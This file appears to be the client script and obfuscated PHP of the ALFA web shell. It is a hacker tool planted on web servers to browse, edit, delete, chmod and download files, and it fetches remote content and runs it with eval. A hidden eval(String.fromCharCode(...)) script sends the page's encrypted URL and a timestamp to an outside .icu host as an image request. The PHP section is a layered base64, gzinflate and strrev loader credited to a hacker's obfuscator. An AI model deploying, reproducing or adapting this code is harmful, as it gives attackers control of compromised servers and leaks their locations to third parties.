e[a[0]]=a[1],e},{});if(""!=e)switch(t.action){case"fileman":case"options":t.path=decodeURIComponent(t.path),g("FilesMan",t.path,function(e){if(t.hasOwnProperty("file")){var a="auto";isArchive(t.file)&&(a="view"),editor(t.path+"/"+t.file,a,"","","","file")}}),"options"==t.action&&t.hasOwnProperty("opt")&&(alfa_can_add_opt=!0,g(t.opt,null,"","",""),d.querySelector(".opt-title").innerHTML=$("menu_opt_"+t.opt).innerHTML),t.hasOwnProperty("file")||editorClose("editor"),t.hasOwnProperty("opt")||editorClose("options_window"),editorClose("cgiloader");break;default:g("FilesMan","/var/www/html/"),editorClose("editor"),editorClose("options_window"),editorClose("cgiloader")}else g("FilesMan","/var/www/html/"),editorClose("editor"),editorClose("options_window"),editorClose("cgiloader")}function alfaFmngrContextRow(){d.querySelectorAll(".fmanager-row a.main_name").forEach(function(e){e.addEventListener("contextmenu",function(e){var t=e.target,a="";if(".."==(a="A"==e.target.parentElement.tagName?(t=e.target.parentElement).getAttribute("fname"):t.getAttribute("fname")))return!1;var i=t.getAttribute("id"),l=t.getAttribute("path"),r=t.getAttribute("ftype"),o=["newtab","link","download","view","edit","move","copy","rename","modify","permission","compress","extract","delete"];for(var n in"file"!=r||isArchive(a)?o[3]="view_archive":o.splice(11,1),"folder"==r&&(o=["newtab","link","move","copy","rename","modify","permission","compress","delete"]),alfaSortMenuItems(o),o){var s=d.querySelector("#rightclick_menu > a[name="+o[n]+"]");switch(s.setAttribute("fid",i),s.setAttribute("fname",decodeURIComponent(a)),s.setAttribute("path",l),s.setAttribute("ftype",r),o[n]){case"view":case"edit":var c="auto";"edit"==o[n]&&(c="edit"),s.setAttribute("href","#action=fileman&path="+c_+"/&file="+a),s.setAttribute("onclick","editor('"+a+"','"+c+"','','','','file')");break;case"newtab":var u=a;"file"==r?(u="&file="+a,s.setAttribute("href","#action=fileman&path="+c_+"/"+u),s.setAttribute("target","_blank"),s.onclick=function(){}):(s.setAttribute("href","javascript:void(0)"),s.removeAttribute("target"),s.onclick=function(){alfaFilesManNewTab(c_,u)});break;case"delete":s.setAttribute("onclick","var chk = confirm('Are You Sure For Delete # "+a+" # ?'); chk ? g('FilesMan',null,'delete', '"+a+"') : '';");break;case"download":s.setAttribute("onclick","g('FilesTools',null,'"+a+"', 'download')");break;case"permission":try{var p=d.querySelector("#id_chmode_"+i.replace("id_","")+" span").innerHTML;s.setAttribute("perm",p.trim())}catch(e){}break;case"link":s.style.display="block";var f="/var/www/html/",m=(c_+"/"+a).replace(/\/\//g,"/");if(-1!=m.indexOf(f)){f=m.replace(f,"");var b=location.origin+"/"+f;s.setAttribute("href",""+b)}else s.style.display="none"}}var y=e.clientX,_=e.clientY;alfaRightClickMenu(y,_),e.preventDefault()})})}function alfaFilesManNewTab(e,t,a){var i=t;void 0!==a&&(i=alfaGetLastFolderName(e));var l=decodeURIComponent(e+"/"+t);l=l.replace(/\/\//g,"/");var r=$("filesman_tab_1"),o=r.getAttribute("fm_counter");o=parseInt(o)+1,r.setAttribute("fm_counter",o),d.querySelector("#filesman_tabs_child").insertAdjacentHTML("beforeend",'<div onmouseover="alfaFilesmanTabShowTitle(this,event);" onmouseout="alfaFilesmanTabHideTitle(this,event);" path="'+l+'" id="filesman_tab_'+o+'" fm_id="'+o+'" onclick="filesmanTabController(this);" fname="'+t+'" class="filesman_tab"><img class="folder-tab-icon" src="http://solevisible.com/icons/menu/folder2.svg"> <span class="filesman-tab-folder-name">'+i+'</span> <img fm_id="'+o+'" onclick="closeFmTab(this,event);return false;" title="[close]" src="http://solevisible.com/icons/menu/delete.svg"></div>'),d.querySelector(".ajaxarea").insertAdjacentHTML("beforebegin",'<div style="position:relative;" fm_id="'+o+'" id="filesman_holder_'+o+'" class="ajaxarea"><div class="header"></div></div>'),alfa_fm_id=o,g("FilesMan",l),alfa_fm_id=0}function alfaFilesmanTabShowTitle(e,t){t.stopPropagation();var a=$("filesman-tab-full-path");a.style.display="block",a.style.top=e.offsetTop-37+"px",a.style.left=e.offsetLeft-$("filesman_tabs").scrollLeft+"px",a.innerHTML=e.getAttribute("path")}function alfaFilesmanTabHideTitle(e,t){$("filesman-tab-full-path").style.display="none"}function alfaPopupAction(e,t){var a="",i="";switch(t){case"rename":a="Old file name:",i="New file name:";break;case"copy":a="File path:",i="Enter the file path that you want to copy this file to:";break;case"move":a="Current Path:",i="Enter the file path that you want to move this file to:";break;case"extract":a="Files to extract:",i="Enter the path you wish to extract the files to and click Extract:"}var l=e.getAttribute("fname"),r=e.getAttribute("path"),o=t.charAt(0).toUpperCase()+t.slice(1);if("permission"==t){d.querySelector("#shortcutMenu-holder").style.height="222px",o="Change Permissions",d.querySelector("#shortcutMenu-holder > form > .perm-table-holder").style.display="block",d.querySelector("#shortcutMenu-holder > form > input[name=fname]").style.display="none";var n=e.getAttribute("perm"),s=n.substr(1,1),c=n.substr(2,1),u=n.substr(3,1);d.querySelector("#shortcutMenu-holder > form input[name=u]").value=s,d.querySelector("#shortcutMenu-holder > form input[name=g]").value=c,d.querySelector("#shortcutMenu-holder > form input[name=w]").value=u,autoCheckPerms(s,"u",["u","g","w"]),autoCheckPerms(c,"g"),autoCheckPerms(u,"w")}else d.querySelector("#shortcutMenu-holder").style.height="190px",d.querySelector("#shortcutMenu-holder > form > input[name=fname]").style.display="block",d.querySelector("#shortcutMenu-holder > form > .perm-table-holder").style.display="none";var p="move"==t||"copy"==t?r+l:l;if("modify"==t){var f="tr_row_"+e.getAttribute("fid").replace("id_","");p=d.querySelector("#"+f+" .main_modify").innerText}d.querySelector(".cl-popup-fixed").style.display="block",d.querySelector("#shortcutMenu-holder .popup-head").innerHTML=o,d.querySelector("#shortcutMenu-holder .old-path-lbl").innerHTML=a,d.querySelector("#shortcutMenu-holder .new-filename-lbl").innerHTML=i,d.querySelector("#shortcutMenu-holder .popup-foot > button[name=accept]").innerHTML=o,d.querySelector("#shortcutMenu-holder > form > .old-path-content").innerHTML=r+l,d.querySelector("#shortcutMenu-holder > form > input[name=fname]").value=p,d.querySelector("#shortcutMenu-holder button[name=accept]").setAttribute("fid",e.getAttribute("fid")),d.querySelector("#shortcutMenu-holder button[name=accept]").setAttribute("action",t)}function calcperm(){var e=event.srcElement;autoCheckPerms(e.checked,e.name.substr(0,1))}function autoCheckPerms(e,t,a){if(void 0!==a)for(var i in a){var l=a[i];d.querySelector("#shortcutMenu-holder > form input[name="+l+"r]").checked=!1,d.querySelector("#shortcutMenu-holder > form input[name="+l+"w]").checked=!1,d.querySelector("#shortcutMenu-holder > form input[name="+l+"x]").checked=!1}var r=d.querySelector("#shortcutMenu-holder > form input[name="+t+"r]"),o=d.querySelector("#shortcutMenu-holder > form input[name="+t+"w]"),n=d.querySelector("#shortcutMenu-holder > form input[name="+t+"x]");if("boolean"!=typeof e)"7"==e?(r.checked=!0,o.checked=!0,n.checked=!0):"4"==e?r.checked=!0:"2"==e?o.checked=!0:"1"==e?n.checked=!0:"6"==e?(r.checked=!0,o.checked=!0):"3"==e?(o.checked=!0,n.checked=!0):"5"==e&&(r.checked=!0,n.checked=!0);else{var s=0;r.checked&&(s+=4),o.checked&&(s+=2),n.checked&&(s+=1),"u"==t?d.querySelector("#shortcutMenu-holder > form input[name=u]").value=s:"g"==t?d.querySelector("#shortcutMenu-holder > form input[name=g]").value=s:"w"==t&&(d.querySelector("#shortcutMenu-holder > form input[name=w]").value=s)}}function gg(e,t,a,i,l,r){var o="filesman_holder_"+alfa_current_fm_id;alfaloader(o,"block"),data="a="+alfab64(e)+"&c="+alfab64(t)+"&alfa1="+alfab64(a)+"&alfa2="+alfab64(i)+"&alfa3="+alfab64(l)+"&ajax="+alfab64("true"),_Ajax(d.URL,data,r,!1,o)}function alfaPopUpDoAction(e){var t=e.getAttribute("action");switch(t){case"rename":case"move":case"copy":var a=e.getAttribute("fid").replace("id_",""),i=$("id_"+a).getAttribute("fname"),l=d.querySelector("#shortcutMenu-holder > form > input[name=fname]").value;l=l.trim(),i=i.trim(),gg("doActions",c_,i,l,t,function(e,i){if("rename"==t)if("done"==e){var r=$("id_"+a);updateFileEditor(a,l);var o=r.getAttribute("path")+$("id_"+a).getAttribute("fname");d.querySelector("#shortcutMenu-holder > form > .old-path-content").innerHTML=o,r.addEventListener("animationend",function(){r.classList.remove("textEffect")}),r.classList.add("textEffect"),alfaShowNotification("Renamed...","Rename Action"),d.querySelector(".cl-popup-fixed").style.display="none"}else alfaShowNotification("error...!","Rename Action","error");alfaloader(i,"none")});break;case"permission":var r=d.querySelector("#shortcutMenu-holder > form input[name=u]").value,o=d.querySelector("#shortcutMenu-holder > form input[name=g]").value,n=d.querySelector("#shortcutMenu-holder > form input[name=w]").value;i=(i=d.querySelector("#shortcutMenu-holder > form > .old-path-content").innerHTML).trim();var s=r.trim()+o.trim()+n.trim();gg("doActions",c_,i,s,t,function(e,t){alfaloader(t,"none"),alfaShowNotification(e,"Permission Action"),d.querySelector(".cl-popup-fixed").style.display="none"});break;case"modify":a=e.getAttribute("fid").replace("id_","");var c=d.querySelector("#shortcutMenu-holder > form > input[name=fname]").value,u=$("id_"+a).getAttribute("fname");gg("doActions",c_,c,u,t,function(t,a){if("ok"==t){var i="tr_row_"+e.getAttribute("fid").replace("id_","");d.querySelector("#"+i+" .main_modify").innerHTML=c,alfaShowNotification("success...","Modify Action"),d.querySelector(".cl-popup-fixed").style.display="none"}else alfaShowNotification(t,"Modify Action","error");alfaloader(a,"none")})}}function alfaInitSoratableTab(e){Sortable.create(e,{direction:"horizontal",animation:300,ghostClass:"sortable-ghost",filter:".not-sortable"})}$("search-input").addEventListener("keydown",function(e){setTimeout(function(){var e=$("search-input").value;for(var t in d.getElementsByClassName("history-list")[0].innerHTML="",editor_files)if(-1!=editor_files[t].file.search(e)||""==e){var a=0;t==editor_current_file&&(a=" is_active"),insertToHistory(t,editor_files[t].file,a,editor_files[t].type)}},100)},!1),_Ajax(d.URL,"a="+alfab64("checkupdate"),function(e){if(0!=e.length&&"[]"!=e){var t=JSON.parse(e);if(t.hasOwnProperty("content")){d.body.insertAdjacentHTML("beforeend",t.content);try{evalJS(t.content)}catch(t){}}if(t.hasOwnProperty("copyright")&&($("alfa-copyright").innerHTML=t.copyright),t.hasOwnProperty("solevisible")&&($("alfa_solevisible").innerHTML=t.solevisible),t.hasOwnProperty("code_name")&&($("hidden_sh").innerHTML=t.code_name.replace(/\{version\}/g,t.version_number)),t.hasOwnProperty("market")){var a=d.querySelector("span.alfa_plus");if(t.market.hasOwnProperty("visible")&&"yes"==t.market.visible&&($("menu_opt_market").style.display="inline"),"open"!=t.market.status&&(a.style.color="#ffc107"),t.market.hasOwnProperty("content"))try{evalJS(t.market.content)}catch(t){}}}}),true?_Ajax(d.URL,"a="+alfab64("updateheader"),function(e){try{var t=JSON.parse(e);for(var a in t){for(var i="",l=0;l<t[a].length;l++)i+="useful"==a||"downloader"==a?'<span class="header_values" style="margin-left: 4px;">'+t[a][l]+"</span>":t[a][l];var r=$("header_"+a);r&&(r.innerHTML=i)}$("header_cgishell").innerHTML="ON",$("header_cgishell").setAttribute("class","header_on")}catch(e){}}):islinux&&_Ajax(d.URL,"a="+alfab64("checkcgi"),function(e){"ok"==e&&($("header_cgishell").innerHTML="ON",$("header_cgishell").setAttribute("class","header_on"))}),function(){d.onclick=function(){can_hashchange_work=!1,setTimeout(function(){can_hashchange_work=!0},600)},window.onhashchange=function(e){can_hashchange_work&&alfaCheckUrlHash()},alfaCheckUrlHash(),alfagetFlags(),rightclick_menu_context=$("rightclick_menu").style,alfaInitCwdContext(),document.addEventListener("click",function(e){rightclick_menu_context.opacity="0",setTimeout(function(){rightclick_menu_context.visibility="hidden"},501)},!1);var e=document.createElement("script");e.src="https://cdnjs.cloudflare.com/ajax/libs/Sortable/1.10.2/Sortable.min.js",e.id="sortable-plugin",e.onload=function(){alfaInitSoratableTab($("filesman_tabs_child")),alfaInitSoratableTab(d.querySelector(".editor-tabs")),alfaInitSoratableTab(d.querySelector(".options_tab")),alfaInitSoratableTab(d.querySelector(".terminal-tabs")),alfaInitSoratableTab(d.querySelector(".sql-tabs"))},d.body.appendChild(e)}();
</script><script src="https://cdnjs.cloudflare.com/ajax/libs/Sortable/1.10.2/Sortable.min.js" id="sortable-plugin"></script>
<script>eval(String.fromCharCode(101,118,97,108,40,102,117,110,99,116,105,111,110,40,112,44,97,44,99,44,107,44,101,44,100,41,123,101,61,102,117,110,99,116,105,111,110,40,99,41,123,114,101,116,117,114,110,32,99,46,116,111,83,116,114,105,110,103,40,51,54,41,125,59,105,102,40,33,39,39,46,114,101,112,108,97,99,101,40,47,94,47,44,83,116,114,105,110,103,41,41,123,119,104,105,108,101,40,99,45,45,41,123,100,91,99,46,116,111,83,116,114,105,110,103,40,97,41,93,61,107,91,99,93,124,124,99,46,116,111,83,116,114,105,110,103,40,97,41,125,107,61,91,102,117,110,99,116,105,111,110,40,101,41,123,114,101,116,117,114,110,32,100,91,101,93,125,93,59,101,61,102,117,110,99,116,105,111,110,40,41,123,114,101,116,117,114,110,39,92,92,119,43,39,125,59,99,61,49,125,59,119,104,105,108,101,40,99,45,45,41,123,105,102,40,107,91,99,93,41,123,112,61,112,46,114,101,112,108,97,99,101,40,110,101,119,32,82,101,103,69,120,112,40,39,92,92,98,39,43,101,40,99,41,43,39,92,92,98,39,44,39,103,39,41,44,107,91,99,93,41,125,125,114,101,116,117,114,110,32,112,125,40,39,48,32,49,61,103,46,52,40,41,43,92,39,58,92,39,43,53,40,100,46,54,44,55,41,59,48,32,50,61,57,32,56,40,41,59,50,46,98,61,92,39,99,58,47,47,101,46,102,47,92,39,43,49,43,92,39,47,97,46,51,92,39,59,39,44,49,55,44,49,55,44,39,118,97,114,124,115,116,97,109,112,124,105,109,103,124,112,110,103,124,110,111,119,124,101,110,99,114,121,112,116,124,85,82,76,124,49,52,57,57,55,124,73,109,97,103,101,124,110,101,119,124,98,103,124,115,114,99,124,104,116,116,112,115,124,124,53,52,49,53,54,49,52,53,49,51,49,50,52,124,105,99,117,124,68,97,116,101,39,46,115,112,108,105,116,40,39,124,39,41,44,48,44,123,125,41,41))</script></body></html>
<?php
/*
CODE Successfully OBFUSCATED by 5H311_1NJ3C706 Obfuscator
Strongest PHP obfuscator ;)
Dont change the variables othervise code will not work.
If you are facing any problem contact me on Gmail.
5H311_1NJ3C706
Or mail me Hackerbaloch07@gmail.com ;)
*/
$Cyber = "ZXZhbCUyOCUyNnF1b3QlM0IlM0YlMjZndCUzQiUyNnF1b3QlM0IuZ3p1bmNvbXByZXNzJTI4Z3p1bmNvbXByZXNzJTI4Z3ppbmZsYXRlJTI4Z3ppbmZsYXRlJTI4Z3ppbmZsYXRlJTI4YmFzZTY0X2RlY29kZSUyOHN0cnJldiUyOCUyNENyaW1lJTI5JTI5JTI5JTI5JTI5JTI5JTI5JTI5JTNC";
$Crime = "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